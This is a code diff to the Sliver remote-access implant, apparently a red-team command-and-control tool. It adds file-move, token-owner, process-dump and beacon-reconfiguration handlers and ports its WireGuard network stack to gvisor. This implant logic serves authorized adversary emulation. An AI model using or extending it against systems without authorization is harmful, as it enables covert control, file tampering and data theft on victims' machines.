+golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
+golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
+golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
+golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
+golang.zx2c4.com/wireguard/windows v0.5.1
+gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
+google.golang.org/protobuf v1.23.0
+github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
 )

implant/sliver/cryptography/implant.go

@@ -137,7 +137,7 @@ func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
 	return msg, nil
 }
 
-// ECCEncryptToPeer - Encrypt using the server's public key
+// ECCEncryptToPeer - Encrypt using the peer's public key
 func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
 	valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
 	if !valid {
@@ -153,7 +153,7 @@ func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, p
 	return ciphertext, nil
 }
 
-// ECCEncryptToPeer - Encrypt using the server's public key
+// ECCDecryptFromPeer - Decrypt a message from a peer
 func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
 	valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
 	if !valid {

implant/sliver/handlers/handlers.go

@@ -153,7 +153,7 @@ func rmHandler(data []byte, resp RPCResponse) {
 	_, err = os.Stat(target)
 	if err == nil {
 		if (target == "/" || target == "C:\\") && !rmReq.Force {
-			err = errors.New("Cowardly refusing to remove volume root without force")
+			err = errors.New("cowardly refusing to remove volume root without force")
 		}
 	}
 
@@ -178,6 +178,28 @@ func rmHandler(data []byte, resp RPCResponse) {
 	resp(data, err)
 }
 
+func mvHandler(data []byte, resp RPCResponse) {
+	mvReq := &sliverpb.MvReq{}
+	err := proto.Unmarshal(data, mvReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("error decoding message: %v", err)
+		// {{end}}
+		return
+	}
+
+	move := &sliverpb.Mv{}
+	err = os.Rename(mvReq.Src, mvReq.Dst)
+	if err != nil {
+		move.Response = &commonpb.Response{
+			Err: err.Error(),
+		}
+	}
+
+	data, err = proto.Marshal(move)
+	resp(data, err)
+}
+
 func mkdirHandler(data []byte, resp RPCResponse) {
 	mkdirReq := &sliverpb.MkdirReq{}
 	err := proto.Unmarshal(data, mkdirReq)
@@ -529,31 +551,30 @@ func unsetEnvHandler(data []byte, resp RPCResponse) {
 	resp(data, err)
 }
 
-func reconnectIntervalHandler(data []byte, resp RPCResponse) {
-	reconnectIntervalReq := &sliverpb.ReconnectIntervalReq{}
-	err := proto.Unmarshal(data, reconnectIntervalReq)
+func reconfigureHandler(data []byte, resp RPCResponse) {
+	reconfigReq := &sliverpb.ReconfigureReq{}
+	err := proto.Unmarshal(data, reconfigReq)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("error decoding message: %v\n", err)
 		// {{end}}
 		return
 	}
-
-	reconnectInterval := reconnectIntervalReq.GetReconnectInterval()
-	// {{if .Config.Debug}}
-	log.Printf("Update reconnect interval called: %d\n", reconnectInterval)
-	// {{end}}
-
-	// Set the reconnect interval value
-	transports.SetReconnectInterval(reconnectInterval)
-
-	recIntervalResp := &sliverpb.ReconnectInterval{}
-	recIntervalResp.Response = &commonpb.Response{}
-	if err != nil {
-		recIntervalResp.Response.Err = err.Error()
+	if reconfigReq.ReconnectInterval != 0 {
+		transports.SetReconnectInterval(reconfigReq.ReconnectInterval)
 	}
 
-	data, err = proto.Marshal(recIntervalResp)
+	// {{if .Config.IsBeacon}}
+	if reconfigReq.BeaconInterval != 0 {
+		transports.SetInterval(reconfigReq.BeaconInterval)
+	}
+	if reconfigReq.BeaconJitter != 0 {
+		transports.SetJitter(reconfigReq.BeaconJitter)
+	}
+	// {{end}}
+
+	reconfigResp := &sliverpb.Reconfigure{}
+	data, err = proto.Marshal(reconfigResp)
 	resp(data, err)
 }
 
@@ -561,6 +582,9 @@ func reconnectIntervalHandler(data []byte, resp RPCResponse) {
 
 func gzipWrite(w io.Writer, data []byte) error {
 	gw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)
+	if err != nil {
+		return err
+	}
 	defer gw.Close()
 	gw.Write(data)
 	return err

implant/sliver/handlers/handlers_darwin.go

@@ -37,6 +37,7 @@ var (
 		pb.MsgPwdReq:       pwdHandler,
 		pb.MsgRmReq:        rmHandler,
 		pb.MsgMkdirReq:     mkdirHandler,
+		pb.MsgMvReq:        mvHandler,
 		pb.MsgIfconfigReq:  ifconfigHandler,
 		pb.MsgExecuteReq:   executeHandler,
 		pb.MsgEnvReq:       getEnvHandler,
@@ -48,8 +49,8 @@ var (
 
 		pb.MsgSideloadReq: sideloadHandler,
 
-		pb.MsgReconnectIntervalReq: reconnectIntervalHandler,
-		pb.MsgSSHCommandReq:        runSSHCommandHandler,
+		pb.MsgReconfigureReq: reconfigureHandler,
+		pb.MsgSSHCommandReq:  runSSHCommandHandler,
 
 		// Extensions
 		pb.MsgRegisterExtensionReq: registerExtensionHandler,

implant/sliver/handlers/handlers_generic.go

@@ -32,19 +32,20 @@ import (
 
 var (
 	genericHandlers = map[uint32]RPCHandler{
-		sliverpb.MsgPing:                 pingHandler,
-		sliverpb.MsgLsReq:                dirListHandler,
-		sliverpb.MsgDownloadReq:          downloadHandler,
-		sliverpb.MsgUploadReq:            uploadHandler,
-		sliverpb.MsgCdReq:                cdHandler,
-		sliverpb.MsgPwdReq:               pwdHandler,
-		sliverpb.MsgRmReq:                rmHandler,
-		sliverpb.MsgMkdirReq:             mkdirHandler,
-		sliverpb.MsgExecuteReq:           executeHandler,
-		sliverpb.MsgSetEnvReq:            setEnvHandler,
-		sliverpb.MsgEnvReq:               getEnvHandler,
-		sliverpb.MsgUnsetEnvReq:          unsetEnvHandler,
-		sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
+		sliverpb.MsgPing:           pingHandler,
+		sliverpb.MsgLsReq:          dirListHandler,
+		sliverpb.MsgDownloadReq:    downloadHandler,
+		sliverpb.MsgUploadReq:      uploadHandler,
+		sliverpb.MsgCdReq:          cdHandler,
+		sliverpb.MsgPwdReq:         pwdHandler,
+		sliverpb.MsgRmReq:          rmHandler,
+		sliverpb.MsgMkdirReq:       mkdirHandler,
+		sliverpb.MsgMvReq:          mvHandler,
+		sliverpb.MsgExecuteReq:     executeHandler,
+		sliverpb.MsgSetEnvReq:      setEnvHandler,
+		sliverpb.MsgEnvReq:         getEnvHandler,
+		sliverpb.MsgUnsetEnvReq:    unsetEnvHandler,
+		sliverpb.MsgReconfigureReq: reconfigureHandler,
 	}
 )
 

implant/sliver/handlers/handlers_linux.go

@@ -34,6 +34,7 @@ var (
 		sliverpb.MsgPwdReq:       pwdHandler,
 		sliverpb.MsgRmReq:        rmHandler,
 		sliverpb.MsgMkdirReq:     mkdirHandler,
+		sliverpb.MsgMvReq:        mvHandler,
 		sliverpb.MsgTaskReq:      taskHandler,
 		sliverpb.MsgIfconfigReq:  ifconfigHandler,
 		sliverpb.MsgExecuteReq:   executeHandler,
@@ -46,8 +47,9 @@ var (
 		sliverpb.MsgNetstatReq:  netstatHandler,
 		sliverpb.MsgSideloadReq: sideloadHandler,
 
-		sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
-		sliverpb.MsgSSHCommandReq:        runSSHCommandHandler,
+		sliverpb.MsgReconfigureReq: reconfigureHandler,
+		sliverpb.MsgSSHCommandReq:  runSSHCommandHandler,
+		sliverpb.MsgProcessDumpReq: dumpHandler,
 
 		// {{if .Config.WGc2Enabled}}
 		// Wireguard specific

implant/sliver/handlers/handlers_windows.go

@@ -65,6 +65,7 @@ var (
 		sliverpb.MsgUnsetEnvReq:              unsetEnvHandler,
 		sliverpb.MsgExecuteTokenReq:          executeTokenHandler,
 		sliverpb.MsgGetPrivsReq:              getPrivsHandler,
+		sliverpb.MsgCurrentTokenOwnerReq:     currentTokenOwnerHandler,
 
 		// Platform specific
 		sliverpb.MsgIfconfigReq:            ifconfigHandler,
@@ -82,17 +83,18 @@ var (
 		sliverpb.MsgRegistryListValuesReq:  regValuesListHandler,
 
 		// Generic
-		sliverpb.MsgPing:                 pingHandler,
-		sliverpb.MsgLsReq:                dirListHandler,
-		sliverpb.MsgDownloadReq:          downloadHandler,
-		sliverpb.MsgUploadReq:            uploadHandler,
-		sliverpb.MsgCdReq:                cdHandler,
-		sliverpb.MsgPwdReq:               pwdHandler,
-		sliverpb.MsgRmReq:                rmHandler,
-		sliverpb.MsgMkdirReq:             mkdirHandler,
-		sliverpb.MsgExecuteReq:           executeHandler,
-		sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
-		sliverpb.MsgSSHCommandReq:        runSSHCommandHandler,
+		sliverpb.MsgPing:           pingHandler,
+		sliverpb.MsgLsReq:          dirListHandler,
+		sliverpb.MsgDownloadReq:    downloadHandler,
+		sliverpb.MsgUploadReq:      uploadHandler,
+		sliverpb.MsgCdReq:          cdHandler,
+		sliverpb.MsgPwdReq:         pwdHandler,
+		sliverpb.MsgRmReq:          rmHandler,
+		sliverpb.MsgMvReq:          mvHandler,
+		sliverpb.MsgMkdirReq:       mkdirHandler,
+		sliverpb.MsgExecuteReq:     executeHandler,
+		sliverpb.MsgReconfigureReq: reconfigureHandler,
+		sliverpb.MsgSSHCommandReq:  runSSHCommandHandler,
 
 		// Extensions
 		sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
@@ -176,6 +178,26 @@ func revToSelfHandler(_ []byte, resp RPCResponse) {
 	resp(data, err)
 }
 
+func currentTokenOwnerHandler(data []byte, resp RPCResponse) {
+	tokOwnReq := &sliverpb.CurrentTokenOwnerReq{}
+	err := proto.Unmarshal(data, tokOwnReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("error decoding message: %v", err)
+		// {{end}}
+		return
+	}
+
+	getCT := &sliverpb.CurrentTokenOwner{}
+	owner, err := priv.CurrentTokenOwner()
+	if err != nil {
+		getCT.Response = &commonpb.Response{Err: err.Error()}
+	}
+	getCT.Output = owner
+	data, err = proto.Marshal(getCT)
+	resp(data, err)
+}
+
 func getsystemHandler(data []byte, resp RPCResponse) {
 	getSysReq := &sliverpb.InvokeGetSystemReq{}
 	err := proto.Unmarshal(data, getSysReq)

implant/sliver/handlers/rpc-handlers.go

@@ -174,7 +174,7 @@ func ifconfig() *sliverpb.Ifconfig {
 }
 
 func screenshotHandler(data []byte, resp RPCResponse) {
-	sc := &sliverpb.Screenshot{}
+	sc := &sliverpb.ScreenshotReq{}
 	err := proto.Unmarshal(data, sc)
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -185,9 +185,9 @@ func screenshotHandler(data []byte, resp RPCResponse) {
 	// {{if .Config.Debug}}
 	log.Printf("Screenshot Request")
 	// {{end}}
-
-	sc.Data = screen.Screenshot()
-	data, err = proto.Marshal(sc)
+	scRes := &sliverpb.Screenshot{}
+	scRes.Data = screen.Screenshot()
+	data, err = proto.Marshal(scRes)
 
 	resp(data, err)
 }

implant/sliver/handlers/special-handlers.go

@@ -22,6 +22,7 @@ package handlers
 
 import (
 	"os"
+	"time"
 
 	"github.com/bishopfox/sliver/implant/sliver/transports"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -54,6 +55,9 @@ func killHandler(data []byte, _ *transports.Connection) error {
 	// {{if .Config.Debug}}
 	log.Println("Let's exit!")
 	// {{end}}
-	os.Exit(0)
+	go func() {
+		time.Sleep(time.Second)
+		os.Exit(0)
+	}()
 	return nil
 }

implant/sliver/netstack/tun.go

@@ -1,7 +1,6 @@
 /* SPDX-License-Identifier: MIT
  *
  * Copyright (C) 2019-2021 WireGuard LLC. All Rights Reserved.
- * https://git.zx2c4.com/wireguard-go/tree/tun/netstack/tun.go
  */
 
 package netstack
@@ -14,7 +13,9 @@ import (
 	"fmt"
 	"io"
 	"net"
+	"net/netip"
 	"os"
+	"regexp"
 	"strconv"
 	"strings"
 	"time"
@@ -22,15 +23,17 @@ import (
 	"golang.zx2c4.com/wireguard/tun"
 
 	"golang.org/x/net/dns/dnsmessage"
-	"inet.af/netstack/tcpip"
-	"inet.af/netstack/tcpip/adapters/gonet"
-	"inet.af/netstack/tcpip/buffer"
-	"inet.af/netstack/tcpip/header"
-	"inet.af/netstack/tcpip/network/ipv4"
-	"inet.af/netstack/tcpip/network/ipv6"
-	"inet.af/netstack/tcpip/stack"
-	"inet.af/netstack/tcpip/transport/tcp"
-	"inet.af/netstack/tcpip/transport/udp"
+	"gvisor.dev/gvisor/pkg/tcpip"
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+	"gvisor.dev/gvisor/pkg/tcpip/buffer"
+	"gvisor.dev/gvisor/pkg/tcpip/header"
+	"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
+	"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/icmp"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
+	"gvisor.dev/gvisor/pkg/waiter"
 )
 
 type netTun struct {
@@ -39,11 +42,14 @@ type netTun struct {
 	events         chan tun.Event
 	incomingPacket chan buffer.VectorisedView
 	mtu            int
-	dnsServers     []net.IP
+	dnsServers     []netip.Addr
 	hasV4, hasV6   bool
 }
-type endpoint netTun
-type Net netTun
+
+type (
+	endpoint netTun
+	Net      netTun
+)
 
 func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
 	e.dispatcher = dispatcher
@@ -75,12 +81,16 @@ func (*endpoint) LinkAddress() tcpip.LinkAddress {
 
 func (*endpoint) Wait() {}
 
-func (e *endpoint) WritePacket(_ stack.RouteInfo, _ *stack.GSO, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
+func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
 	e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
 	return nil
 }
 
-func (e *endpoint) WritePackets(stack.RouteInfo, *stack.GSO, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
+func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
+	panic("not implemented")
+}
+
+func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
 	panic("not implemented")
 }
 
@@ -91,10 +101,10 @@ func (*endpoint) ARPHardwareType() header.ARPHardwareType {
 func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
 }
 
-func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Net, error) {
+func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
 	opts := stack.Options{
 		NetworkProtocols:   []stack.NetworkProtocolFactory{ipv4.NewProtocol, ipv6.NewProtocol},
-		TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol},
+		TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol, icmp.NewProtocol6, icmp.NewProtocol4},
 		HandleLocal:        true,
 	}
 	dev := &netTun{
@@ -109,17 +119,23 @@ func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Ne
 		return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
 	}
 	for _, ip := range localAddresses {
-		if ip4 := ip.To4(); ip4 != nil {
-			tcpipErr = dev.stack.AddAddress(1, ipv4.ProtocolNumber, tcpip.Address(ip4))
-			if tcpipErr != nil {
-				return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
-			}
+		var protoNumber tcpip.NetworkProtocolNumber
+		if ip.Is4() {
+			protoNumber = ipv4.ProtocolNumber
+		} else if ip.Is6() {
+			protoNumber = ipv6.ProtocolNumber
+		}
+		protoAddr := tcpip.ProtocolAddress{
+			Protocol:          protoNumber,
+			AddressWithPrefix: tcpip.Address(ip.AsSlice()).WithPrefix(),
+		}
+		tcpipErr := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{})
+		if tcpipErr != nil {
+			return nil, nil, fmt.Errorf("AddProtocolAddress(%v): %v", ip, tcpipErr)
+		}
+		if ip.Is4() {
 			dev.hasV4 = true
-		} else {
-			tcpipErr = dev.stack.AddAddress(1, ipv6.ProtocolNumber, tcpip.Address(ip))
-			if tcpipErr != nil {
-				return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
-			}
+		} else if ip.Is6() {
 			dev.hasV6 = true
 		}
 	}
@@ -129,10 +145,6 @@ func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Ne
 	if dev.hasV6 {
 		dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
 	}
-	// tcpipErr = dev.stack.SetPromiscuousMode(1, true)
-	// if tcpipErr != nil {
-	// 	return nil, nil, fmt.Errorf("SetPromiscuousMode: %v", tcpipErr)
-	// }
 
 	dev.events <- tun.EventUp
 	return dev, (*Net)(dev), nil
@@ -195,62 +207,291 @@ func (tun *netTun) MTU() (int, error) {
 	return tun.mtu, nil
 }
 
-func convertToFullAddr(ip net.IP, port int) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
-	if ip4 := ip.To4(); ip4 != nil {
-		return tcpip.FullAddress{
-			NIC:  1,
-			Addr: tcpip.Address(ip4),
-			Port: uint16(port),
-		}, ipv4.ProtocolNumber
+func convertToFullAddr(endpoint netip.AddrPort) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
+	var protoNumber tcpip.NetworkProtocolNumber
+	if endpoint.Addr().Is4() {
+		protoNumber = ipv4.ProtocolNumber
 	} else {
-		return tcpip.FullAddress{
-			NIC:  1,
-			Addr: tcpip.Address(ip),
-			Port: uint16(port),
-		}, ipv6.ProtocolNumber
+		protoNumber = ipv6.ProtocolNumber
 	}
+	return tcpip.FullAddress{
+		NIC:  1,
+		Addr: tcpip.Address(endpoint.Addr().AsSlice()),
+		Port: endpoint.Port(),
+	}, protoNumber
+}
+
+func (net *Net) DialContextTCPAddrPort(ctx context.Context, addr netip.AddrPort) (*gonet.TCPConn, error) {
+	fa, pn := convertToFullAddr(addr)
+	return gonet.DialContextTCP(ctx, net.stack, fa, pn)
 }
 
 func (net *Net) DialContextTCP(ctx context.Context, addr *net.TCPAddr) (*gonet.TCPConn, error) {
 	if addr == nil {
-		panic("todo: deal with auto addr semantics for nil addr")
+		return net.DialContextTCPAddrPort(ctx, netip.AddrPort{})
 	}
-	fa, pn := convertToFullAddr(addr.IP, addr.Port)
-	return gonet.DialContextTCP(ctx, net.stack, fa, pn)
+	ip, _ := netip.AddrFromSlice(addr.IP)
+	return net.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(ip, uint16(addr.Port)))
+}
+
+func (net *Net) DialTCPAddrPort(addr netip.AddrPort) (*gonet.TCPConn, error) {
+	fa, pn := convertToFullAddr(addr)
+	return gonet.DialTCP(net.stack, fa, pn)
 }
 
 func (net *Net) DialTCP(addr *net.TCPAddr) (*gonet.TCPConn, error) {
 	if addr == nil {
-		panic("todo: deal with auto addr semantics for nil addr")
+		return net.DialTCPAddrPort(netip.AddrPort{})
 	}
-	fa, pn := convertToFullAddr(addr.IP, addr.Port)
-	return gonet.DialTCP(net.stack, fa, pn)
+	ip, _ := netip.AddrFromSlice(addr.IP)
+	return net.DialTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
+}
+
+func (net *Net) ListenTCPAddrPort(addr netip.AddrPort) (*gonet.TCPListener, error) {
+	fa, pn := convertToFullAddr(addr)
+	return gonet.ListenTCP(net.stack, fa, pn)
 }
 
 func (net *Net) ListenTCP(addr *net.TCPAddr) (*gonet.TCPListener, error) {
 	if addr == nil {
-		panic("todo: deal with auto addr semantics for nil addr")
+		return net.ListenTCPAddrPort(netip.AddrPort{})
 	}
-	fa, pn := convertToFullAddr(addr.IP, addr.Port)
-	return gonet.ListenTCP(net.stack, fa, pn)
+	ip, _ := netip.AddrFromSlice(addr.IP)
+	return net.ListenTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
 }
 
-func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
+func (net *Net) DialUDPAddrPort(laddr, raddr netip.AddrPort) (*gonet.UDPConn, error) {
 	var lfa, rfa *tcpip.FullAddress
 	var pn tcpip.NetworkProtocolNumber
-	if laddr != nil {
+	if laddr.IsValid() || laddr.Port() > 0 {
 		var addr tcpip.FullAddress
-		addr, pn = convertToFullAddr(laddr.IP, laddr.Port)
+		addr, pn = convertToFullAddr(laddr)
 		lfa = &addr
 	}
-	if raddr != nil {
+	if raddr.IsValid() || raddr.Port() > 0 {
 		var addr tcpip.FullAddress
-		addr, pn = convertToFullAddr(raddr.IP, raddr.Port)
+		addr, pn = convertToFullAddr(raddr)
 		rfa = &addr
 	}
 	return gonet.DialUDP(net.stack, lfa, rfa, pn)
 }
 
+func (net *Net) ListenUDPAddrPort(laddr netip.AddrPort) (*gonet.UDPConn, error) {
+	return net.DialUDPAddrPort(laddr, netip.AddrPort{})
+}
+
+func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
+	var la, ra netip.AddrPort
+	if laddr != nil {
+		ip, _ := netip.AddrFromSlice(laddr.IP)
+		la = netip.AddrPortFrom(ip, uint16(laddr.Port))
+	}
+	if raddr != nil {
+		ip, _ := netip.AddrFromSlice(raddr.IP)
+		ra = netip.AddrPortFrom(ip, uint16(raddr.Port))
+	}
+	return net.DialUDPAddrPort(la, ra)
+}
+
+func (net *Net) ListenUDP(laddr *net.UDPAddr) (*gonet.UDPConn, error) {
+	return net.DialUDP(laddr, nil)
+}
+
+type PingConn struct {
+	laddr    PingAddr
+	raddr    PingAddr
+	wq       waiter.Queue
+	ep       tcpip.Endpoint
+	deadline *time.Timer
+}
+
+type PingAddr struct{ addr netip.Addr }
+
+func (ia PingAddr) String() string {
+	return ia.addr.String()
+}
+
+func (ia PingAddr) Network() string {
+	if ia.addr.Is4() {
+		return "ping4"
+	} else if ia.addr.Is6() {
+		return "ping6"
+	}
+	return "ping"
+}
+
+func (ia PingAddr) Addr() netip.Addr {
+	return ia.addr
+}
+
+func PingAddrFromAddr(addr netip.Addr) *PingAddr {
+	return &PingAddr{addr}
+}
+
+func (net *Net) DialPingAddr(laddr, raddr netip.Addr) (*PingConn, error) {
+	if !laddr.IsValid() && !raddr.IsValid() {
+		return nil, errors.New("ping dial: invalid address")
+	}
+	v6 := laddr.Is6() || raddr.Is6()
+	bind := laddr.IsValid()
+	if !bind {
+		if v6 {
+			laddr = netip.IPv6Unspecified()
+		} else {
+			laddr = netip.IPv4Unspecified()
+		}
+	}
+
+	tn := icmp.ProtocolNumber4
+	pn := ipv4.ProtocolNumber
+	if v6 {
+		tn = icmp.ProtocolNumber6
+		pn = ipv6.ProtocolNumber
+	}
+
+	pc := &PingConn{
+		laddr:    PingAddr{laddr},
+		deadline: time.NewTimer(time.Hour << 10),
+	}
+	pc.deadline.Stop()
+
+	ep, tcpipErr := net.stack.NewEndpoint(tn, pn, &pc.wq)
+	if tcpipErr != nil {
+		return nil, fmt.Errorf("ping socket: endpoint: %s", tcpipErr)
+	}
+	pc.ep = ep
+
+	if bind {
+		fa, _ := convertToFullAddr(netip.AddrPortFrom(laddr, 0))
+		if tcpipErr = pc.ep.Bind(fa); tcpipErr != nil {
+			return nil, fmt.Errorf("ping bind: %s", tcpipErr)
+		}
+	}
+
+	if raddr.IsValid() {
+		pc.raddr = PingAddr{raddr}
+		fa, _ := convertToFullAddr(netip.AddrPortFrom(raddr, 0))
+		if tcpipErr = pc.ep.Connect(fa); tcpipErr != nil {
+			return nil, fmt.Errorf("ping connect: %s", tcpipErr)
+		}
+	}
+
+	return pc, nil
+}
+
+func (net *Net) ListenPingAddr(laddr netip.Addr) (*PingConn, error) {
+	return net.DialPingAddr(laddr, netip.Addr{})
+}
+
+func (net *Net) DialPing(laddr, raddr *PingAddr) (*PingConn, error) {
+	var la, ra netip.Addr
+	if laddr != nil {
+		la = laddr.addr
+	}
+	if raddr != nil {
+		ra = raddr.addr
+	}
+	return net.DialPingAddr(la, ra)
+}
+
+func (net *Net) ListenPing(laddr *PingAddr) (*PingConn, error) {
+	var la netip.Addr
+	if laddr != nil {
+		la = laddr.addr
+	}
+	return net.ListenPingAddr(la)
+}
+
+func (pc *PingConn) LocalAddr() net.Addr {
+	return pc.laddr
+}
+
+func (pc *PingConn) RemoteAddr() net.Addr {
+	return pc.raddr
+}
+
+func (pc *PingConn) Close() error {
+	pc.deadline.Reset(0)
+	pc.ep.Close()
+	return nil
+}
+
+func (pc *PingConn) SetWriteDeadline(t time.Time) error {
+	return errors.New("not implemented")
+}
+
+func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
+	var na netip.Addr
+	switch v := addr.(type) {
+	case *PingAddr:
+		na = v.addr
+	case *net.IPAddr:
+		na, _ = netip.AddrFromSlice(v.IP)
+	default:
+		return 0, fmt.Errorf("ping write: wrong net.Addr type")
+	}
+	if !((na.Is4() && pc.laddr.addr.Is4()) || (na.Is6() && pc.laddr.addr.Is6())) {
+		return 0, fmt.Errorf("ping write: mismatched protocols")
+	}
+
+	buf := buffer.NewViewFromBytes(p)
+	rdr := buf.Reader()
+	rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
+	// won't block, no deadlines
+	n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
+		To: &rfa,
+	})
+	if tcpipErr != nil {
+		return int(n64), fmt.Errorf("ping write: %s", tcpipErr)
+	}
+
+	return int(n64), nil
+}
+
+func (pc *PingConn) Write(p []byte) (n int, err error) {
+	return pc.WriteTo(p, &pc.raddr)
+}
+
+func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
+	e, notifyCh := waiter.NewChannelEntry(nil)
+	pc.wq.EventRegister(&e, waiter.EventIn)
+	defer pc.wq.EventUnregister(&e)
+
+	select {
+	case <-pc.deadline.C:
+		return 0, nil, os.ErrDeadlineExceeded
+	case <-notifyCh:
+	}
+
+	w := tcpip.SliceWriter(p)
+
+	res, tcpipErr := pc.ep.Read(&w, tcpip.ReadOptions{
+		NeedRemoteAddr: true,
+	})
+	if tcpipErr != nil {
+		return 0, nil, fmt.Errorf("ping read: %s", tcpipErr)
+	}
+
+	remoteAddr, _ := netip.AddrFromSlice([]byte(res.RemoteAddr.Addr))
+	return res.Count, &PingAddr{remoteAddr}, nil
+}
+
+func (pc *PingConn) Read(p []byte) (n int, err error) {
+	n, _, err = pc.ReadFrom(p)
+	return
+}
+
+func (pc *PingConn) SetDeadline(t time.Time) error {
+	// pc.SetWriteDeadline is unimplemented
+
+	return pc.SetReadDeadline(t)
+}
+
+func (pc *PingConn) SetReadDeadline(t time.Time) error {
+	pc.deadline.Reset(t.Sub(time.Now()))
+	return nil
+}
+
 var (
 	errNoSuchHost                   = errors.New("no such host")
 	errLameReferral                 = errors.New("lame referral")
@@ -426,7 +667,7 @@ func dnsStreamRoundTrip(c net.Conn, id uint16, query dnsmessage.Question, b []by
 	return p, h, nil
 }
 
-func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
+func (tnet *Net) exchange(ctx context.Context, server netip.Addr, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
 	q.Class = dnsmessage.ClassINET
 	id, udpReq, tcpReq, err := newRequest(q)
 	if err != nil {
@@ -440,16 +681,19 @@ func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Quest
 		var c net.Conn
 		var err error
 		if useUDP {
-			c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: server, Port: 53})
+			c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, netip.AddrPortFrom(server, 53))
 		} else {
-			c, err = tnet.DialContextTCP(ctx, &net.TCPAddr{IP: server, Port: 53})
+			c, err = tnet.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(server, 53))
 		}
 
 		if err != nil {
 			return dnsmessage.Parser{}, dnsmessage.Header{}, err
 		}
 		if d, ok := ctx.Deadline(); ok && !d.IsZero() {
-			c.SetDeadline(d)
+			err := c.SetDeadline(d)
+			if err != nil {
+				return dnsmessage.Parser{}, dnsmessage.Header{}, err
+			}
 		}
 		var p dnsmessage.Parser
 		var h dnsmessage.Header
@@ -593,8 +837,8 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 			zlen = zidx
 		}
 	}
-	if ip := net.ParseIP(host[:zlen]); ip != nil {
-		return []string{host[:zlen]}, nil
+	if ip, err := netip.ParseAddr(host[:zlen]); err == nil {
+		return []string{ip.String()}, nil
 	}
 
 	if !isDomainName(host) {
@@ -605,7 +849,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 		server string
 		error
 	}
-	var addrsV4, addrsV6 []net.IP
+	var addrsV4, addrsV6 []netip.Addr
 	lanes := 0
 	if tnet.hasV4 {
 		lanes++
@@ -660,7 +904,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 					}
 					break loop
 				}
